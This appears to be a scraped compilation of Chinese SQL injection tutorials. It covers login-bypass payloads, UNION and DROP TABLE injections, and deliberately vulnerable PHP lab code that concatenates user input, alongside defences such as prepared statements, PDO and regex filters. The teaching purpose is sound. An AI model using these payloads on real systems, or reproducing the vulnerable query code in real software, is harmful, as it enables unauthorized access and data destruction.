我们将id=1放在cookie中再次访问,查看能否访问,如果能访问,则说明id参数可以通过cookie提交。
那么,如果后端没有对cookie中传入的数据进行过滤,那么,这个网站就有可能存在cookie注入了!
十二:过滤绕过
传送门:SQL注入过滤的绕过
十三:传说中的万能密码
sql="select*from test where username=' XX ' and password=' XX ' ";
- admin' or '1'='1 XX //万能密码(已知用户名)
- XX 'or'1'='1 //万能密码(不需要知道用户名)
- 'or '1'='1'# XX //万能密码(不知道用户名)
SQL注入的预防
既然SQL注入的危害那么大,那么我们要如何预防SQL注入呢?
(1)预编译(PreparedStatement)(JSP)
可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
String sql = "select id, no from user where id=?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setInt(1, id); ps.executeQuery();
如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?
其原因就是:采用了PreparedStatement预编译,就会将SQL语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。
原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。
(2)PDO(PHP)
首先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。
PDO对于解决SQL注入的原理也是基于预编译。
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();
实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行,
(3)使用正则表达式过滤
虽然预编译可以有效预防SQL注,但是某些特定场景下,可能需要拼接用户输入的数据。这种情况下,我们就需要对用户输入的数据进行严格的检查,使用正则表达式对危险字符串进行过滤,这种方法是基于黑名单的过滤,以至于黑客想尽一切办法进行绕过注入。基于正则表达式的过滤方法还是不安全的,因为还存在绕过的风险。
对用户输入的特殊字符进行严格过滤,如 ’、”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union
(4) 其他
- Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库
- 设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。
- 严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查
- 使用 Web 应用防火墙
-
SQL注入
2020-03-05 13:58:51SQL注入 SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句添加额外的SQL语句,从而实现非法操作,获取数据库数据,服务器提权等,很多机构将SQL...SQL注入
SQL
注入即是指web
应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web
应用程序中事先定义好的查询语句添加额外的SQL
语句,从而实现非法操作,获取数据库数据,服务器提权等,很多机构将SQL
注入作为第一危险的安全漏洞。原理
SQL
注入攻击是通过操作输入来修改SQL
语句,用以达到执行代码对WEB
服务器进行攻击的方法。简单的说就是在post/get
表单、输入域名或页面请求的查询字符串中插入SQL
命令,最终使web
服务器执行恶意命令的过程。
SQL
注入语句一般都嵌入在普通的HTTP
请求中,比较难过滤,攻击者可以不断调整攻击的参数,导致SQL
注入变种极多,而且互联网上有很多SQL
注入工具,不需要专业知识也能自如运用。简单实例
首先建立简单表,在
user_info
中写入账号acc
与密码pwd
,qqq
表用来测试drop
。CREATE TABLE `user_info` ( `id` int(11) NOT NULL AUTO_INCREMENT, `account` varchar(20) NOT NULL, `password` varchar(20) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=gbk; CREATE TABLE `qqq` ( `id` int(11) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=gbk;
加入后端查询数据库使用此
SQL
进行查询,通过用户输入的数据进行拼接,查询结果等于1
即作为登录成功,此查询结果明显等于1
。SELECT count(*) FROM user_info WHERE account = 'acc' AND password = 'pwd'
假如用户传入的账号为
'or 1=1#
,后端并未过滤特殊字符,那么这条查询就出现了问题,此结果明显也能查出count(*)
结果为1
,or
操作的1=1
永远为true
,#
后边的内容则被注释掉了。SELECT count(*) FROM user_info WHERE account = ''or 1=1#' AND password = 'pwd'
甚至我们可以通过注入来
drop
表,同样通过传入不正常的账号';DROP TABLE qqq#
,执行后qqq
表即被drop
。SELECT count(*) FROM user_info WHERE account = '';DROP TABLE qweqwe#' AND password = 'pwd'
注入过程
注入点探测
首先进行
SQL
注入点探测,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果此时后端使用拼接查询的方式执行SQL
,那么就有可能被注入。观察系统行为
带内注入:观察后端是否将数据库错误信息向前端返回,从显示的错误消息中获取有关数据库的信息;使用
UNION ALL
将被盗信息与合法信息链接起来进行尝试,两者都是试错法,可以检测到错误。盲注入:推理注入,盲注入攻击不会直接从目标数据库中显示数据;相反,攻击者会仔细检查行为中的间接线索。
HTTP
响应中的详细信息,某些用户输入的空白网页以及数据库响应某些用户输入需要多长时间,这些都可以是线索,具体取决于攻击者的目标。带外注入:这种攻击有点复杂,攻击者会制作SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。
数据获取
判断字段长度,判断字段回显位置,判断数据库信息,查找数据库表名,查找数据库表名,查找字段名,再根据这些信息构建注入
SQL
进行注入,登录后台,数据盗取,进行服务器提权等操作。防御
分级管理
对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。
拦截请求
拦截正则表达式匹配的非正常的请求,例如
\s+(or|xor|and)\s+.*(=|<|>|'|")
、select.+(from|limit)
、(?:(union(.*?)select))
、(?:(?:current_)user|database|schema|connection_id)\s*\(
等等。参数过滤
将提交的敏感字符进行过滤,例如
'
、"
、:
、\
、;
等等。变量检查
确定变量的数据类型,例如对传入的
id
检测为int
型,传入邮箱为严格的邮箱格式。隐藏错误
避免直接向用户显示数据库错误,攻击者可以使用这些错误消息来获取有关数据库的信息。
预编译语句集
采用预编译语句集,它内置了处理
SQL
注入的能力,极大地提高了安全性。防火墙
对访问数据库的
Web
应用程序使用Web
应用程序防火墙WAF
,它可以帮助识别SQL
注入尝试。定期检查
定期测试与数据库交互的
Web
应用程序,且将数据库更新为最新的可用修补程序,防止旧版本的漏洞利用。每日一题
https://github.com/WindrunnerMax/EveryDay
-
-
究竟什么是SQL注入?
2020-06-03 20:39:43SQL注入是Web安全层面最高危的漏洞之一,长期霸榜OWASP Top10首位,但是究竟什么事SQL注入?SQL注入又是怎么产生的?接下来本篇文章将详细介绍SQL注入产生的原理。本篇文章并没有描述具体的注入方法,而是侧重于对...文章目录
1.前言
SQL注入是Web安全层面最高危的漏洞之一,长期霸榜OWASP Top10首位,但是究竟什么事SQL注入?SQL注入又是怎么产生的?接下来本篇文章将详细介绍SQL注入产生的原理。本篇文章并没有描述具体的注入方法,而是侧重于对原理的描述,并分别分析了GET和POST注入。
2.实验环境搭建
在弄清SQL注入的基本原理之前,我们首先要来搭建实验的环境,我们需要一台L(Linux)NMP服务器或者W(Windows)NMP服务器,具体服务器的搭建可以参考我之前的文章《一篇文章告诉你如何搭建LNMP》,或者直接使用phpStudy完成搭建。
完成服务器的搭建后,我们要准备好测试用的数据库,执行下面的SQL命令完成数据库的建立create database SQLInjection; use SQLInjection create table users(id int,username varchar(255),password varchar(255));
创建完成后,可以插入几条用于测试的数据
insert into users value(1,'Tom','123456'); insert into users value(2,'Alice','654321'); insert into users value(3,'Jerry','qwerty');
3.原理介绍
3.1 HTTP协议
HTTP协议是Web应用层协议,全称是超文本传输协议。这个协议是Web应用的核心,HTTP由两个程序实现,一个是客户端程序,通常是我们使用的浏览器,一个是服务器程序,运行在我们所访问俄的服务器上。这两个程序通过HTTP协议进行交流,HTTP定义了这些报文的语法、语义和时序。这里我们并不需要对HTTP协议做过深的了解。但是我们依旧需要明确以下几个知识点:
1.客户端程序与服务器程序之间是通过报文进行交流的,通常是客户端请求数据,服务器响应客户端请求的数据; 2.报文是包含了不同的字段,不同的字段代表的不同的信息 3.报文中携带了客户端程序与服务器程序之间通信的数据 4.数据在报文中的位置不同,服务器接收该数据的方式也不同
3.1.1 HTTP报文
客户端与服务器端的报文,根据发送方的不同被分为请求报文和响应报文,从客户端发往服务器端的被称为请求报文,从服务器端发往客户端的被称为响应报文。请求报文和响应报文都有不同的固定格式,请求报文的一般报文格式如下
响应报文的一般格式如下
因为本文主要主要讲述的是SQL注入,SQL注入我们是无法操作服务器的,只能通过影响从客户端发送的请求报文进而从服务器获取数据,所以我们只需要了解请求报文,在上面的请求报文结构图中,我们可以看到请求报文主要包含请求行、首部行、空行、实体体4个模块。各个模块的功能说明如下
模块名 说明 请求行 方法 说明传递数据的方法 URL 指明想要访问的文件 版本 协议的版本HTTP /1.1 首部行 首部行中包含众多的字段,不同的报文可能会携带不同的字段,在请求报文中主要用来说明客户端的相关信息 空行 实体体 当使用POST方式传递数据的时候,该模块会填充POST想要传递的数据 在前面的内容中不断的提到数据的传递,数据传递的方法会在请求行的方法中说明,主要有4种数据传递的方法,这里只介绍两种与SQL注入有关的
3.1.2 GET方法
当请求报文的方法字段被设置为GET的时候,表明该请求报文使用GET方式进行传参。通常GET方法是用来获取服务器上的指定文件,比如
GET /index.php HTTP/1.1
上面的请求行用来获取网站根目录下的index.php文件,当站点接收到该请求后会将用户请求的文件内容进行解析,然后通过响应报文响应用户的请求。但是也会遇到某些文件需要接收参数的情况,客户端程序会使用下面的方式对文件完成传参
GET /index.php?id=1 HTTP/1.1
这样服务器上的文件便能够接受id=1的传参。然后根据用户的传参作出响应的处理。
3.1.3 POST方法
当请求报文的方法字段被设置为POST的时候,表明该请求报文使用POST方式进行传参。通常POST方式用来提交用户输入的表单信息,这些协议存放在请求报文的实体体中。比如
POST /user/login.html HTTP/1.1 //...... user=admin&pass=admin
上面是一个用户登录报文的示例,通过POST方式提交用户输入的用户名和密码。
3.1.4 从页面到报文
上面所说到的报文或者传参方式都是客户端程序生成的,作为用户只需要在页面上点击鼠标或者输入内容即可。那么客户端程序是怎么确定要使用什么样的方式传参呢?简单来说我们在表格中输入的数据会通过POST进行传参,而我们的点击页面的操作一般会通过GET传参。
POST传参的方式比较好理解,但是我们还要重点说明一下GET方式,比如当我们浏览某个站点的时候,点击了站点中的一篇文件,页面就给我们显示了我们点击的文章。现在我从数据包的角度分析站点为什么可以准确的显示我们所点击的文章。首先我们点击文章,服务端会发送类似于下面的数据包GET /index.php?p=1234 HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://www.test.com
可以看到由于是GET方法,所以报文的实体体为空。Host字段表示站点的域名。通过域名可以找到该站点的服务器,然后将报文传递到该站点,站点接收报文后发现用户请求的是/index.php文件,并且有传参p=1234,站点便会在根目录下寻找index.php文件,执行index.php文件并完成传参,执行的结果就是我们请求的文章,然后将文章发送给我们。我们会发现当页面显示文章后,浏览器的的URL栏变成了
可以看到URL栏会显示我们通过GET方式传递的参数p=1234。其实我们通过GET方式对文件传递的参数都会显示在URL栏中,我们可以直接修改URL栏中的内容为
http://www.test.com/?p=1234
或者
http://www.test.com/index.php?p=1234
都会发送同样的数据包,显示同样的内容。也就是说我们可以通过修改URL栏中的内容控制传参的内容。
补充:因为站点会默认请求index.php或者index.html文件所以在请求index.php文件的时候可以不写index.php文件,站点就会直接请求index.php文件。3.2 SQL注入
说到这里我们才正式进入SQL注入的原理分析,但是看完上面的内容我们已经完成一大半了,接下来就是将上面的知识应用到SQL注入中。这里仅仅介绍两种典型的注入GET和POST。SQL注入的方式有很多但是基本原理都差不多的。
站点存在SQL注入必须满足下面的三个条件1.用户能够控制输入 2.待执行的代码拼接了用户输入的数据 3.执行了待执行的代码
3.2.1 GET注入
(1)验证GET传参
首先我们来模拟一下上传的传参方式,首先在我们的LNMP或者WNMP服务器(下称“服务器”)的网站的某个你喜欢的目录下放置下面的脚本
test.php<?php echo 'hello,world!'; $id=$_GET['id']; #接收GET传参 echo $id; ?>
这里将该脚本放置在SQLInjection目录下,随后我们在URL栏输入路径访问该文件,页面显示效果如下
页面成功的显示了hello,world!,接着我们需改URL栏为
http://192.168.25.147/SQLInjection/test.php?id=1234
并抓取浏览器发送的数据包,数据包内容如下
GET /SQLInjection/test.php?id=1234 HTTP/1.1 Host: 192.168.25.147 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=0871f074b43a28eb3e15dcf7b0635b6d Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
可以看到该数据包使用GET方式进行传参,并在URL字段指定了文件的路径和我们对文件的传参。同时返回的页面显示了我们在URL栏中传递的参数
上面的操作也就验证了通过URL栏的方式传递参数是GET方式的传参。并且测试了我们的文件可以接受GET传参的内容。
(2)SQL注入
将上面的代码修改为
echo 'hello,world!'.'<hr/>'; #1.获取get传参 $id=$_GET['id']; echo '你传入的参数'.$id.'<hr/>'; #2.链接数据库 $conn=mysqli_connect('localhost','root','root','sqlinjection'); if(!$conn) die("<script>alert('Sorry,cannot connect to database')</script>"); #3.构造SQL命令 $sql="select * from users where id=$id"; echo '执行的SQL语句'.$sql.'<hr/>'; #4.查询数据库 $result=mysqli_query($conn,$sql); #5.显示查询结果 echo '查询结果'.'<br/>'; while($row=mysqli_fetch_array($result)) { echo 'id:'.$row['id'].';'.'username:'.$row['username'].';'.'password:'.$row['password'].'<br/>'; } #6.断开链接 mysqli_close($conn);
代码修改完成后,我们接着访问该代码,然后传入参数id=1,页面显示如下
可以看到站点成功的接收了我们的传参,并根据我们的传参访问数据库,并显示了数据库的访问结果。这是正常情况下的传参,可以理解为我们登录用户后,页面通过GET传参的方式从数据库中取出我们的用户信息显示在页面上。因为我们可以控制传参的内容,那我们尝试将URL栏修改为
http://192.168.25.147/sqlinjection/test.php?id=1 union select * from users where id=2
站点显示的内容变成了
也就是说我们修改URL栏中的内容将id的值变成了
id=1 union select * from users where id=2
站点在接收到该值后,将该变量的值与SQL命令进行拼接,形成了如下的SQL命令
select * from users where id=1 union select * from users where id=2
随后执行了该SQL命令,显示了预期之外的数据。
在正常操作下id接收的是一个数字,然后将该数字拼接到SQL命令中执行。但是我们通过人为修了id传参的值,也就是说我们可以控制id的值,并将其修改为一个恶意的值;接着系统会将我们输入的内容拼接道SQL命令中,即待执行的代码拼接了用户输入的内容;最后拼接了用户输入内容的代码执行了,获取了数据库中的数据。3.2.1 POST注入
理解了前面的GET注入的原理,POST注入的原理和GET完全一致,不同点在于传参方式的不同。
(1)验证POST传参
准备了如下的程序将其放置在sqlinjection目录下
login.html<!DOCTYPE HTML> <html> <head> <meta charset="UTF-8"> <title>login</title> </head> <body> <form action="login.php" method="POST" target="_self"> username:<input type="text" name="username"/><br /> password:<input type="password" name="password"/><br /> <input type="submit" value="login"><hr /> </form> </body> </html>
login.php
<?php #1.从前端获取数据 $username=$_POST["username"]; $password=$_POST["password"]; echo '你输入了如下的内容'.'<br/>'; echo 'username:'.$username.'<br/>'; echo 'password:'.$password.'<hr/>'; ?>
随后我们访问login.html,页面显示如下
输入如下的内容后
字段名 内容 username Tom password 123456 点击login并抓取数据包,得到的数据包内容如下
POST /sqlinjection/login.php HTTP/1.1 Host: 192.168.25.147 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 28 Origin: http://192.168.25.147 Connection: close Referer: http://192.168.25.147/sqlinjection/login.html Cookie: PHPSESSID=0871f074b43a28eb3e15dcf7b0635b6d Upgrade-Insecure-Requests: 1 username=Tom&password=123456
可以看到数据包使用的是POST的方式,并且在实体体中携带了我们输入的用户名和密码信息。随后页面会显示下面的内容
可以看到我们在表单是输入的内容是使用POST方式携带在实体体中进行传参的。同时login.php能够成功的接收我们传入的数据
(2)SQL注入
将login.php脚本修改为
<?php #1.接收用户传参 $username=$_POST["username"]; $password=$_POST["password"]; echo '你输入了如下的内容'.'<br/>'; echo 'username:'.$username.'<br/>'; echo 'password:'.$password.'<hr/>'; #2.链接数据库 $conn=mysqli_connect('localhost','root','123456','sqlinjection'); if(!$conn) die("<script>alert('Sorry,cannot connect to database,please login later!')</script>"); #3.构造查询语句 $sql="select * from users where username='$username' and password='$password'"; echo '执行的SQL命令为:'.$sql.'<hr/>'; #4.进行查询并获得结果 $result=mysqli_query($conn,$sql); $row=mysqli_fetch_array($result); if(isset($row)) { echo '---登录成功---'.'<hr/>;'; }else{ echo '---登录失败---'.'<hr/>'; } ?>
当我们输入正确的用户名和密码的时候页面会显示
如果输入的用户名或者密码是错误的时候,页面会显示
也就是说站点能够正确的验证用户名和密码的正确情况,但是我们尝试输入下面的内容
字段名 字段值 username Tom password ’ or 1=1 or ’ 我们发现居然也登录成功了
仔细观察我们输入的内容拼成的SQL语句
select * from users where username='Tom' and password='' or 1=1 or ''
在执行select的时候判断条件有4个,分别是
条件1.username='Tom' 条件2.password='' 条件3.1=1 条件4.''
其中条件1与条件2使用and链接,其他的条件使用or链接,当程序从左往右判断条件成立的时候,执行到条件1的时候能找到使条件成立的记录,虽然执行到条件2的时候发现不成立,但是因为后面使用了or连接了一个恒成立的式子1=1,因此重要1=1存在其他的条件就算不成立也可以查找到对应的记录。所以在这里即使我们不是输入密码也可能成功的登录。这也是常用的万能密码。
以上便是POST注入的基本原理,可以看到和GET注入类似。当我们输入用户名的时候可以输入任意的内容,也就是说用户可以控制输入。当程序带着我们输入的内容查找数据库的时候,也就是拼接我们输入的内容并执行。 -
4.1. SQL注入
2020-07-01 23:19:144.1. SQL注入 内容索引:4.1. SQL注入4.1.1. 注入分类4.1.1.1. 按技巧分类4.1.1.2. 按获取数据的方式分类4.1.2. 注入检测4.1.2.1. 常见的注入点4.1.2.2. Fuzz注入点4.1.2.3. 测试用常量4.1.2.4. 测试列数4.1.2.5. ...